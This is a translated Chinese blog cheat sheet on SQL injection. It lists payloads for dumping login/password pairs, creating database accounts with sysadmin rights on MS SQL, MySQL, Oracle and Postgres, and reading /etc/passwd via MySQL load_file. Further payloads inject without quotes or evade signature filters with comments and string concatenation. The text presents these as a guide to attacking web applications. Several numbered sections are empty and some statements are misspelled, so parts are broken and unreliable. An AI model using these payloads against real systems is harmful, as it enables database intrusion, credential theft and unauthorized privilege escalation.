SQL注射資料(翻譯)

2021-09-23 13:39:30 字數 3035 閱讀 3589

1. 介紹

2. 漏洞測試

3. 收集資訊

4. 資料型別

5. 獲取密碼

6. 建立資料庫帳號

7. mysql作業系統互動作用

8. 伺服器名字與配置

9. 從登錄檔中獲取vnc密碼

10.逃避標識部分訊號

11.用char()進行mysql輸入確認欺騙

12.用注釋逃避標識部分訊號

13.沒有引號的字串

1. 當伺服器只開了80埠,我們幾乎肯定管理員會為伺服器打補丁。

最好的方法就是轉到**攻擊。sql注射是最普遍的**攻擊方法之一。

你攻擊**程式,(asp,jsp,php,cgi…)比伺服器或者在伺服器上執行的作業系統好的多。

sql注射是一種通過網頁輸入乙個查詢命令或者一條指令進行欺騙的方法,很多站點都是從使用者的使用者名稱,密碼甚至email獲取使用者的引數。

他們都使用sql查詢命令。

2. 首先你用簡單的進行嘗試。

3.收集資訊

4.資料型別

oracle 擴充套件

–>sys.user_objects (userobjects)

–>sys.user_views

–>sys.user_tables

–>sys.user_views

–>sys.user_tab_columns

–>sys.user_catalog

–>sys.user_triggers

–>sys.all_tables

–>sys.tab

mysql 資料庫, c:\windows>type my.ini得到root密碼

–>mysql.user

–>mysql.host

–>mysql.db

ms access

–>msysaces

–>msysobjects

–>msysqueries

–>msysrelationships

ms sql server

–>sysobjects

–>syscolumns

–>systypes

–>sysdatabases

5.獲取密碼

『;begin declare @var varchar(8000) set @var=』:』 select

@var=@var+』+login+』/』+password+』 』 from users where login > @var select @var as var into temp end –

』 and 1 in (select var from temp)–

』 ; drop table temp –

6.建立資料庫帳號

10. ms sql

exec sp_addlogin 『name』 , 『password』

exec sp_addsrvrolemember 『name』 , 『sysadmin』 加為資料庫管理員

mysql

insert into mysql.user (user, host, password) values (『name』, 『localhost』, password(『pass123』))

access

crate user name identified by 『pass123』

postgres (requires unix account)

crate user name with password 『pass123』

oracle

crate user name identified by pass123

temporary tablespace temp

default tablespace users;

grant connect to name;

grant resource to name;

mysql作業系統互動作用

8.伺服器名字與配置

9.從登錄檔中獲取vnc密碼

10.逃避標識部分訊號

evading 』 or 1=1 signature

11.用char()進行mysql輸入確認欺騙

不用引號注射(string = 「%」)

–> 』 or username like char(37);

用引號注射(string=「root」):

è 』 union select * from users where login = char(114,111,111,116);

load files in unions (string = 「/etc/passwd」):

–>『unionselect 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

check for existing files (string = 「n.ext」):

–>』 and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

用注釋逃避標識部分訊號

–>』//or//1//=//1

–>username:』 or 1/*

–>password:*/=1–

–>uni//on sel//ect

–>(oracle) '; execute immediate 『sel』 || 『ect us』 || 『er』

–>(ms sql) '; exec (『sel』 + 『ect us』 + 『er』)

13.沒有引號的字串

–> insert into users(login, password, level) values( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)

SQL注射總結 5

通常注射的一些介紹 a id 49 這類注入的引數是數字型,sql語句原貌大致如下 select from 表名 where 字段 49 注入的引數為id 49 and 查詢條件 即是生成語句 select from 表名 where 字段 49 and 查詢條件 b class 連續劇 這類注入的...

SQL注射總結 8

把 password sqlserver sql admin sesame sa guest here is the script sqlcrack.sql create table tempdb.passwords pwd varchar 255 bulk insert tempdb.passwo...

URL編碼與SQL注射

說到url編碼,你或許會想起n年前的url編碼漏洞。可惜我是 生不逢時 啊,我接觸網路時,那個漏洞早就絕跡咯。言歸正傳,url 編碼是什麼東東呢?看看我從網上抄的定義 引用 url編碼是一種瀏覽器用來打包表單輸入的格式。瀏覽器從表單中獲取所有的name和其中的值 將它們以name value引數編碼...